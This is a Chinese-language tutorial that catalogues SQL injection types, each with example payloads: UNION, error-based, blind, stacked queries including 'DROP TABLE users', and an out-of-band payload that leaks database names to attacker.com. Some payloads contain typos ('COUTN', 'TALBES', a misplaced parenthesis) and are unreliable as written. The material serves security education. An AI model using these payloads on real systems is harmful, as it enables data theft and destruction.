SQL注入
Description
定义:攻击者通过构造恶意输入,篡改原始SQL查询逻辑,实现数据窃取、篡改或系统提权。
条件:开发中直接拼接用户输入的SQL语句,并未对语句进行严格的合法性校验。
示例漏洞代码:
select * from users where username = '$user' AND password = '$pass'; -- 攻击者输入: username = 'admin'-- (注释掉后续校验)
Sort
常见分类
- 联合查询注入(Union-Based)
- 报错注入(Error-Based)
- 布尔盲注(Boolen Blind)
- 时间盲注 (Time-Based Blind)
- 堆叠注入(Stacked Queries)
- 二次注入(Second-Order)
- 带外攻击注入(Out-of-Band)
联合查询注入(Union-Based)
- 原理:通过
UNION拼接恶意查询,获取其他表数据。
- Payload示例:
' UNION SELECT username ,password FROM users--
- 利用条件:
- 原查询结果列数与
UNION后查询列数一致。 - 页面返回查询结果。
报错注入 (Error-Based)
- 原理:触发数据库错误,通过错误信息回显获取数据。
- Payload示例(MySQL):
' AND (SELECT 1 FROM (SELECT COUTN(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TALBES GROUP BY x)a)--
• 典型函数:
extractvalue()、updatexml()、exp()(需数据库版本支持)。布尔注入 (Boolen Blind)
- 原理:根据页面返回内容(True/False)逐字符猜测数据。
- Payload示例:
' AND SUBSTRING((SELECT DATABASE()),1,1) = 'a'--
• 应用场景:无数据回显,但页面状态(如HTTP响应码)随查询结果变化。
时间盲注 (Time-Based Blind)
- 原理:通过注入时间延迟函数,判断条件是否成立。
- Payload示例(MySQL):
' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1)=115,SLEEP(5),1)--
• 常用函数:
SLEEP()(MySQL)、WAITFOR DELAY(SQL Server)、pg_sleep()(PostgreSQL)。堆叠注入 (Stacked Queries)
- 原理:利用分号
;执行多条SQL语句,实现增删改操作。
- Payload示例:
'; DROP TABLE users;--
• 条件:需数据库驱动支持多语句执行(如PHP+MySQL默认禁用)。
二次注入 (Second Order)
- 原理:恶意数据先被存储,后续操作触发注入。
- 场景:注册用户名输入
admin'--,后续密码重置功能触发注入。
带外攻击注入(Out-of-Band)
- 原理:通过DNS、HTTP等外联请求传递数据。
- Payload示例(MySQL):
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.attacker.com\\test'))--
• 应用场景:盲注效率低时,强制数据库向外发起请求泄露数据。
